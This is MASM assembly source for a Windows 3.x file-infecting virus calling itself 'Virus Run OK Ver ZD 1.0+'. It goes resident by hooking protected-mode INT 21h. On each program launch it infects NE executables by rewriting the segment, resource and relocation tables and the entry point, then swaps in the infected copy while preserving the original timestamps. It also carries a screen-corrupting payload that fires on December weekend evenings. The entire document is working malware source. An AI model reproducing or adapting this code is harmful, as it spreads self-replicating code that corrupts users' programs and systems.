;!!!!!!!!!!!!!!!!!! Virus Run OK Ver ZD 1.0+ !!!!!!!!!!!!!!!!!!!!! .model small, pascal .386 include c:\masm611\include\win.inc include c:\masm611\include\cmacros.inc AllocMem PROTO :DWORD MemFree PROTO :WORD Extrn __A000H:abs .data AddLength equ 800h WinData DWORD 0 ; Windows reserved data space. FileHandle DW ? VTempName db 'v__temp.###',0 VTempHandle dw ? WriteLength dword ? NEHeadLength dd ? DosEXELength dw ? FileLength dword ? Old_IP dw ? StartAdd dw ? DataLength dw ? DataAreaOff dw ? VStartAdd dw ? No_ModKrnl dw ? OFF db 1 dw 85 ;kernel!_lopen ;dw offset call_open1+8,offset call_open2+7 dw offset call_open2+7 db 4 dw 84 ;Kernel!_lseek dw offset call_seek1+9,offset call_seek2+0dh dw offset call_seek3+0dh,offset call_seek4+9 db 2 dw 81 ;Kernel!_lclose dw offset CloseAllFile+5,offset CloseFile+5 db 5 dw 349 ;Kernel!_hread dw offset call_read1+0eh ,call_read2+0eh dw offset call_read3+0dh ,call_read4+0ch dw offset call_read5+0dh db 3 dw 350 ;Kernel!_hwrite dw offset call_write1+0dh ,call_write2+0ah dw offset call_write3+0dh db 1 dw 171 ;Kernel!Allocdstocsalias dw offset call_allocdstocsalias+2 db 1 dw 83 ;Kernel!create dw offset call_create+7 db 1 dw 132 ;Kernel!getwinflags dw offset call_getwinflags+1 db 1 ;Kernel!__A000H dw 174 dw offset Video_Seg+1 No_OFF dw 9 Vcode_Len dw ? Next_Seg dd ? FileName_SEG dw ? FileName_OFF dw ? time dw ? date dw ? OK db 0 MARK db 0 EndMark db 'ZD' .code ;######################## Program Start ################# __astart: call MyStart MyStart: pop bp sub bp,offset MyStart push bx push cx push di push si ;Save AppEntry push es push ds ;Save call_getwinflags: cCall GetWinFlags test ax,0010h ;WF_STANDARD jz Pmode ;Not Surport Standard Mode mov si,offset DataArea add si,bp add si,offset Old_IP mov bp,cs:[si] ;get old ip jmp EXIT Pmode: ;jmp call_open1 call CreateDS mov eax,445a8888h int 21h ;Test If Resident cmp eax,'ZDOK' jz Exit_To_Old ;Already Resident mov ah,48h mov bx,AddLength/10h int 21h ;Alloc Memory mov es,ax mov cx,Vcode_Len mov si,StartAdd mov di,0 push ds push cs pop ds rep movsb ;copy code pop ds mov si,0 mov cx,AddLength sub cx,Vcode_Len ;copy data sub cx,50h rep movsb mov ax,204h mov bl,21h int 31h ;get old INT 21H Vec(P Mode) mov si,offset quit mov es:[si+1],dx mov es:[si+3],cx ;Save old INT 21H call_allocdstocsalias: cCall AllocDStoCSAlias, ;Convert to code Segment mov cx,ax mov ax,205h mov bl,21h mov dx,offset New_WinExec_Entry int 31h ;set new INT 21H Vec(P Mode) jmp Exit_To_Old ;Exit ;call_open1: ; cCall _lopen, ;Open File ; call AfterOpen Exit_To_Old: mov bp,Old_IP call_free1: INVOKE MemFree,ds EXIT: pop ds ; pop es ; pop si ; pop di ;;;; Use S-ice for Win,BPX at here,and then EXIT. pop cx ; pop bx ; jmp bp ; AfterOpen: mov OK,0 mov FileHandle,ax ;Save Handle cmp ax,-1 jnz OpenOK jmp Error OpenOK: mov ax,5700h mov bx,FileHandle int 21h ;Save Time & Date mov time,cx mov date,dx ;cCall GlobalAlloc, ;Alloc Memory for DOSEXEherd INVOKE AllocMem,40h mov es,ax call_read1: cCall _hread, ;Read DosEXEHeader cmp ax,0 jnz ReadOK1 jmp Error ReadOK1: xor si,si xor ax,ax mov cx,10 _Add: add ax,es:[si] add si,2 dec cx jz _AddOK jmp _Add _AddOK: cmp ax,'DZ' ;Already ZD jnz Go_on jmp CloseFile Go_on: mov ax,es:[3ch] mov DosEXELength,ax call_seek1: cCall _llseek, call_read2: cCall _hread, ;Read NE head cmp ax,0 jnz ReadOK2 jmp Error ReadOK2: cmp es:[0],'EN' ;New EXE File jnz CloseFile xor ecx,ecx mov cx,es:[2ch] add cx,es:[20h] mov NEHeadLength,ecx ;mov NEHeadLength,cx test word ptr es:[0ch],0100000000000000b ;Not DLL jnz CloseFile test word ptr es:[0ch],0000100000000000b ;NOT Self Load jnz CloseFile test word ptr es:[0ch],1000000000000000b ;NOT DLL jnz CloseFile call_free2: ;cCall GlobalFree, INVOKE MemFree,es ;cCall GlobalAlloc, ;0+NEHeadLength INVOKE AllocMem,NEHeadLength mov es,ax call_seek2: cCall _llseek, ;To File End shl edx,16 add eax,edx cmp eax,0fffffh ;jg CloseFile ja CloseFile ;edit on 96-10-31 7:20 p.m. mov FileLength,eax call_seek3: cCall _llseek, ;To File Begin call_read3: cCall _hread, ;Read Header cmp ax,0 jnz ReadOK5 jmp Error ReadOK5: ;###########Find if have Kernel ################## mov bp,DosEXELength mov ax,1 mov si,es:[bp+28h] ;ofs Module Reference Table mov bx,es:[bp+2ah] ;ofs Imported Names Table FindKrnl: mov di,es:[bp+si] add di,bx cmp es:[bp+di+1],'EK' jnz NotKrnl cmp es:[bp+di+2+1],'NR' jnz NotKrnl mov No_ModKrnl,ax jmp After NotKrnl: inc ax add si,2 cmp si,es:[bp+2ah] ;jl FindKrnl ;if < go on Find jb FindKrnl ;edit on 96-10-31 7:20 p.m jmp CloseFile ;################# Write the ZD Mark ################# After: xor ax,ax mov si,0 mov cx,9 __Add: add ax,es:[si] add si,2 dec cx jz __AddOK jmp __Add __AddOK: mov bx,'DZ' sub bx,ax mov es:[12h],bx ;Write The ZD Mark ;################ Work out Seg Table Offset ############# mov ax,es:[bp+16h] ;CS seg dec ax mov bh,8 mul bh ;ax is offset of seg tab add ax,es:[bp+22h] mov si,ax ;si is offset of seg tab(byte) from NEhead ;################ Work out Addpages ################### mov bx,1 mov cl,es:[bp+32h] shl bx,cl ;bx is logical sector length(byte) push bx xor dx,dx mov ax,AddLength ;300h is addlen div bx ;ax is addpage push ax ;################# Modify Gangload #################### test byte ptr es:[bp+37h],1000b jz NoGangload mov dx,es:[bp+si] ;dx is start code segment offset(bytes) from NEhead cmp dx,es:[bp+38h] ;if ofs<=ofsGangLoad ;jge xy jae xy ;96-10-31 7:20 p.m. add es:[bp+38h],ax xy: cmp dx,es:[bp+38h] ;jl ndye ;if ofscx ja ndye ;96-10-31 7:20 p.m. add es:[bp+3ah],ax ndye: NoGangload: ;Browse RC Table ;################### Modify RC ################# mov cx,es:[bp+26h] ;ofsResidentNameTable sub cx,es:[bp+24h] ;ofsResource cmp cx,0 jz norc mov cx,ax ;cx is addpage mov di,es:[bp+24h] add di,bp ;di is offset of RCtab from DosEXEHead mov cx,es:[di+0] ;rscAlignShift mov bx,1 shl bx,cl ;bx is 2^rscAlignShift mov cx,es:[di+4] ;RCcount mov ax,AddLength ;VLength xor dx,dx div bx add di,0ah Browse: add es:[di],ax add di,12 dec cx jz ModifyOneRCOK jmp Browse ModifyOneRCOK: cmp word ptr es:[di],0 jz RCOK mov cx,es:[di+2] add di,8h jmp Browse RCOK: norc: ;################## ####################### pop ax ;codeaddpage add si,bp ;si is offset of start code segment from MZ ;push word ptr es:[si+8] ;Next Seg push word ptr es:[si] push word ptr es:[si+2] mov di,es:[si+2] mov VStartAdd,di BS: ;################ Modify Seg Table ############# add es:[si+2],AddLength-50h ;segment length add es:[si+6],AddLength-50h ;lenMem mov bx,es:[si] ;bx is start code seg off mov cx,es:[bp+1ch] ;cx is segmentcount ;sub cx,es:[bp+16h] ;start code segment NO. mov si,es:[bp+22h] ;seg tab off mov byte ptr MARK,0 Addofs: cmp es:[si+bp],bx jbe XY ;<= cmp byte ptr MARK,0 jnz NNN ;if frist > mov dx,es:[si+bp] mov byte ptr MARK,2 NNN: cmp dx,es:[si+bp] ;jl ADDSEG jb ADDSEG ;96-10-31 7:20 p.m. mov dx,es:[si+bp] ADDSEG: add es:[si+bp],ax XY: add si,8 dec cx jz ModifyCodeTabOK jmp Addofs ModifyCodeTabOK: push dx ;Next Seg ;################ Modify IP ######################### mov ax,es:[bp+14h] mov Old_IP,ax ;Save old IP mov es:[bp+14h],di ;Modify new ip K_B: add di,offset New_WinExec_Entry ; mov New_Winexec_off,di ; ;############### Create Temp File ################### push es mov si,FileName_OFF mov fs,FileName_SEG mov di,si go_on_find: cmp byte ptr fs:[si],'\' jnz findnext mov di,si findnext: inc si cmp byte ptr fs:[si],0 jnz go_on_find cmp di,FileName_OFF jnz havepath mov cx,0 push ds jmp nopath havepath: push ds mov cx,di inc cx sub cx,FileName_OFF nopath: mov si,FileName_OFF mov di,100h push ds pop es push fs pop ds rep movsb pop ds push ds pop es mov si,offset VTempName mov cx,12 rep movsb call_create: ;cCall _lcreat, ;Create a Temp file cCall _lcreat, mov VTempHandle,ax cmp ax,-1 jnz OpenTemp pop es jmp Error OpenTemp: pop es ;################ Write NE Head ################### call_write1: cCall _hwrite, ;Write Header jc Error ;96-10-31 7:30 p.m. call_free3: ;cCall GlobalFree, ;Free EXEHeader INVOKE MemFree,es xor eax,eax xor ecx,ecx pop si ;si is Next Seg pop cx ;ax is offset of start code segment from MZ pop ax ;cx is segment length ;pop si ;si is next seg pop di ;bx is logial sector mul di shl edx,16 add eax,edx ;eax is 1180h mov ebx,eax mov ax,si mul di shl edx,16 add eax,edx ;eax is next seg (byte) push eax sub eax,ebx sub eax,ecx mov Next_Seg,eax add ebx,ecx mov eax,NEHeadLength ;!!!!!!!!! call CopyBlock ;write NEHeadLength to start code seg off ;##################### Write Code #################### mov eax,Next_Seg ;eax is code seg len + reloc add eax,AddLength ;cCall GlobalAlloc, INVOKE AllocMem,eax mov es,ax mov cx,Vcode_Len mov si,StartAdd mov di,0 push ds push cs pop ds rep movsb pop ds mov si,0 mov cx,AddLength sub cx,Vcode_Len sub cx,50h rep movsb call_read4: cCall _hread, ;di is Reloc Tab off mov ax,8 mul word ptr es:[di] add ax,2 mov bp,ax ;di is new reloc off add bp,di ;di ^ mov bx,No_ModKrnl mov cx,No_OFF add es:[di],cx mov si,offset OFF Modify_Call: mov dx,[si+1+2] ;OFF push [si+1] ;KRNL NO. add dx,VStartAdd cmp [si+1],174 jnz bs_174 mov es:[bp],0105h jmp gh bs_174: mov es:[bp],0103h gh: mov es:[bp+2],dx mov es:[bp+4],bx pop es:[bp+6] add bp,8 mov dl,[si] ;OFF count add si,3 ;off ccc: mov di,[si] ;off mov ax,[si+2] ;next add ax,VStartAdd cmp dl,1 jnz cc1 cmp [si+1-3],174 jnz bs_174_1 mov es:[di],0ffffh jmp zzz bs_174_1: mov ax,0ffffh cc1: mov es:[di],ax mov word ptr es:[di+2],0 zzz: add si,2 dec dl jnz ccc dec cx jnz Modify_Call mov eax,Next_Seg add eax,AddLength call_write2: cCall _hwrite, ;Write Code jc Error ;96-10-31 7:30 p.m. call_free4: ;cCall GlobalFree, INVOKE MemFree,es CopyRest: pop eax mov ebx,FileLength call CopyBlock ;Write rest Old Data and Code mov OK,1 mov ax,5701h mov cx,time mov dx,date mov bx,VTempHandle int 21h ;Save Time & Date CloseAllFile: cCall _lclose, cmp ax,0 jnz Error CloseFile: cCall _lclose, cmp ax,0 jnz Error cmp OK,1 jnz Exit push ds mov ah,41h mov dx,FileName_OFF mov cx,FileName_SEG mov ds,cx int 21h ;Del source file pop ds jb Error mov ah,56h mov di,FileName_OFF mov cx,FileName_SEG mov es,cx mov dx,100h int 21h ;Rename file Exit: ret ;GoBack: ; mov ah,2 ; mov dl,7 ; mov ah,2 ; mov dl,7 ; INVOKE DOS3Call ;ix: ; mov ah,4Ch ; INVOKE DOS3Call ; Exit with return code from app. CopyBlock: push ebx mov ecx,ebx sub ecx,eax mov WriteLength,ecx call_seek4: cCall _llseek, ;eax is F1begin ;cCall GlobalAlloc, INVOKE AllocMem,WriteLength mov es,ax call_read5: cCall _hread, cmp ax,0 jnz ReadOK4 pop ebx ; pop ax ;call ip Adjust Stack jmp Error ReadOK4: call_write3: cCall _hwrite, jc Error ;96-10-31 7:30 p.m. call_free5: ;cCall GlobalFree, INVOKE MemFree,es pop eax ret CreateDS: INVOKE AllocMem,200h ;Alloc DS mov es,ax mov si,offset DataArea add si,bp push si ;DataAreaOff mov di,0 mov cx,offset _EndMark sub cx,offset _WinData push cx ;DataLength mov ax,cs mov ds,ax rep movsb mov ax,es mov ds,ax mov [StartAdd],bp pop DataLength ;Save DataLength ;pop K_BModule pop DataAreaOff mov ax,offset DataArea sub ax,offset __astart ;eax is Vcode length mov Vcode_Len,ax ret Error: ;cCall MessageBeep,<-1> jmp Exit New_WinExec_Entry: cmp eax,445a8888h jnz de_4c mov eax,'ZDOK' iret ;####################### Modify Screen ######################## de_4c: cmp ah,4ch jnz Check ; sub sp,20h ; mov bp,sp ; ;cCall GetActiveWindow ; ;cCall GetTopWindow, ; ;cCall GetNextWindow, ; cCall GetFocus ; mov [bp+16],ax ;hwnd ; cCall GetDesktopWindow ; cCall GetWindowDC, ; mov [bp+18],ax ;myhdc ; cCall GetWindowRect, ; mov ax,[bp+6] ; sub ax,[bp+2] ;di=bottom - top ------>y ; shr ax,1 ; inc ax ; mov [bp+20],ax ; ; mov bx,[bp+4] ; sub bx,[bp] ;si=right - left ----->x ; mov [bp+22],bx ; xor di,di ;LOOPY: ; xor si,si ;LOOPX: ; mov ax,[bp+4] ;right ; sub ax,si ; mov bx,[bp+6] ;bottom ; sub bx,di ; push ax ; push bx ; cCall GetPixel, ;[ ; mov [bp+8],dx ; mov [bp+10],ax ;color a ; mov ax,[bp] ;left ; add ax,si ; mov bx,[bp+2] ;top ; add bx,di ; push ax ; push bx ; cCall GetPixel, ;] ; mov [bp+12],dx ; mov [bp+14],ax ;color b ; pop bx ; pop ax ; cCall SetPixel, ; ; pop bx ; pop ax ; cCall SetPixel, ; inc si ; cmp si,[bp+22] ; jl LOOPX ; inc di ; cmp di,[bp+20] ; jl LOOPY ; ; ; add sp,20h push ax push cx push si push es mov ah,2ah int 21h cmp dh,11 ;Dec jnz qqqq cmp al,0 ;Sunday jz Check_time cmp al,6 ;Saturday jnz qqqq Check_time: mov ah,2ch int 21h cmp ch,22 ; >22:00 ;jl qqqq ja qqqq ;96-10-31 7:20 p.m. Video_Seg: mov ax,__A000H mov es,ax mov cx,8000h-16 mov si,0 de: mov ax,es:[si+16] mov es:[si],ax add si,2 loop de qqqq: pop es pop si pop cx pop ax jmp quit ;####################### COPY MY SELF #################### Check: cmp ah,4bh jnz quit push eax push ebx push ecx push edx push si push di push bp push ds push es push fs push gs ;4*4+7*2=30 Stack-30 bytes push ds push dx call V_Begin V_Begin: pop bp mov ax,offset V_Begin sub bp,ax call CreateDS pop dx pop fs ;fs:dx is lpszFileName mov FileName_SEG,fs mov FileName_OFF,dx call_open2: cCall _lopen, call AfterOpen call_free6: ;cCall GlobalFree, INVOKE MemFree,ds pop gs pop fs pop es pop ds pop bp pop di pop si pop edx pop ecx pop ebx pop eax quit: db 0eah dd ? ;################### Some Function ####################### AllocMem PROC ,number:DWORD mov ah,48h mov ebx,number mov cx,bx shr ebx,4 shl cx,4*3 cmp cx,0 jz Call21 inc bx Call21: int 21h ret AllocMem endp MemFree PROC ,selector:WORD mov ah,49h mov bx,selector mov es,bx int 21h ret MemFree endp DataArea: _WinData DWORD 0 ;4 Windows reserved data space. _FileHandle DW ? ;2 _VTempName db 'v__temp.###',0 ;12 _VTempHandle dw ? ;2 _WriteLength dword ? ;4 _NEHeadLength dd ? ;2 _DosEXELength dw ? ;2 _FileLength dword ? ;4 _Old_IP dw ? ;2 _StartAdd dw ? ;2 _DataLength dw ? ;2 _DataAreaOff dw ? ;2 _VStartAdd dw ? _No_ModKrnl dw ? _OFF db 1 dw 85 ;kernel!_lopen ;dw offset call_open1+8,offset call_open2+7 dw offset call_open2+7 db 4 dw 84 ;Kernel!_lseek dw offset call_seek1+9,offset call_seek2+0dh dw offset call_seek3+0dh,offset call_seek4+9 db 2 dw 81 ;Kernel!_lclose dw offset CloseAllFile+5,offset CloseFile+5 db 5 dw 349 ;Kernel!_hread dw offset call_read1+0eh ,call_read2+0eh dw offset call_read3+0dh ,call_read4+0ch dw offset call_read5+0dh db 3 dw 350 ;Kernel!_hwrite dw offset call_write1+0dh ,call_write2+0ah dw offset call_write3+0dh db 1 dw 171 ;Kernel!Allocdstocsalias dw offset call_allocdstocsalias+2 db 1 dw 83 ;Kernel!create dw offset call_create+7 db 1 dw 132 ;Kernel!getwinflags dw offset call_getwinflags+1 db 1 ;Kernel!__A000H dw 174 dw offset Video_Seg+1 _No_OFF dw 9 _Vcode_Len dw ? _Next_Seg dd ? _FileName_SEG dw ? _FileName_OFF dw ? _time dw ? _date dw ? _OK db 0 _MARK db 0 _EndMark db 'ZD' ;2 none dword 30h dup(?) ;+ ;86 end __astart ; start address